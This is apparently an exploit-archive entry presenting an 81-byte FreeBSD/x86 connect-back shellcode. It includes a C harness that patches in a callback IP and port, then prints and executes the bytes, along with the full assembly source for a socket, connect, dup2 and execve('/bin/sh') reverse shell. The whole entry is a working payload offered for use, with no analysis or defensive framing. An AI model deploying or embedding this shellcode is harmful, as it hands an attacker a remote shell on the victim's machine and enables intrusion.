BSD x86 connect back Shellcode (81 bytes)

2011-01-21 09:15:33

/*
-------------- FreeBSD/x86 - connect back /bin/sh. 81 bytes ----------------
* AUTHOR : Tosh
* OS : BSDx86 (Tested on FreeBSD 8.1)
* EMAIL : [email protected]
*/

#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>

char shellcode [] = "\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2"
"\x68\x7f\x00\x00\x01\x66\x68\x05\x39\x66\x68\x01\x02\x89"
"\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9"
"\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03"
"\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80";

void change_shellcode(const char *ip, unsigned short port)
{
*((unsigned long*)(shellcode + 15)) = inet_addr(ip);
*((unsigned short*)(shellcode + 21)) = htons(port);
}
void print_shellcode(void)
{
int i;
for(i = 0; i < sizeof(shellcode) - 1; i++)
{
printf("\\x%.2x", (unsigned char)shellcode[i]);
}
printf("\n");
}
int main(void)
{
const char ip[] = "127.0.0.1";
unsigned short port = 1337;

change_shellcode(ip, port);
print_shellcode();
printf("Shellcode len = %d bytes\n", sizeof(shellcode)-1);
void (*f)() = (void*) shellcode;

f();

return 0;
}

/*
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Syscalls nums, on /usr/src/sys/kern/syscalls.master ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

%define IPPROTO_TCP 6
%define SOCK_STREAM 1
%define AF_INET 2

%define SYS_EXECV 59
%define SYS_DUP2 90
%define SYS_SOCKET 97
%define SYS_CONNECT 98

section .text

global _start

_start:
xor eax, eax
;;;;;;;;;;;;;;;;;;;;;;
; socket()
;;;;;;;;;;;;;;;;;;;;;;
push eax
push byte SOCK_STREAM
push byte AF_INET

mov al, SYS_SOCKET
push eax
int 0x80
mov edx, eax

;;;;;;;;;;;;;;;;;;;;;;
; sockaddr_in
;;;;;;;;;;;;;;;;;;;;;;
push 0x0100007f
push word 0x3905
push word 0x0201
mov ecx, esp

;;;;;;;;;;;;;;;;;;;;;
; connect()
;;;;;;;;;;;;;;;;;;;;;
push byte 16
push ecx
push edx
xor eax, eax
mov al, SYS_CONNECT
push eax
int 0x80

;;;;;;;;;;;;;;;;;;;;;
; dup2()
;;;;;;;;;;;;;;;;;;;;;
xor ecx, ecx
.L:
push ecx
push edx
xor eax, eax
mov al, SYS_DUP2
push eax
int 0x80

inc cl
cmp cl, 3
jne .L

;;;;;;;;;;;;;;;;;;;;;;
; execv("/bin/sh")
;;;;;;;;;;;;;;;;;;;;;;
xor eax, eax

push eax

push '//sh'
push '/bin'

mov ebx, esp

push eax
push esp
push ebx
mov al, SYS_EXECV
push eax
int 0x80
*/

Fixes

No fixes

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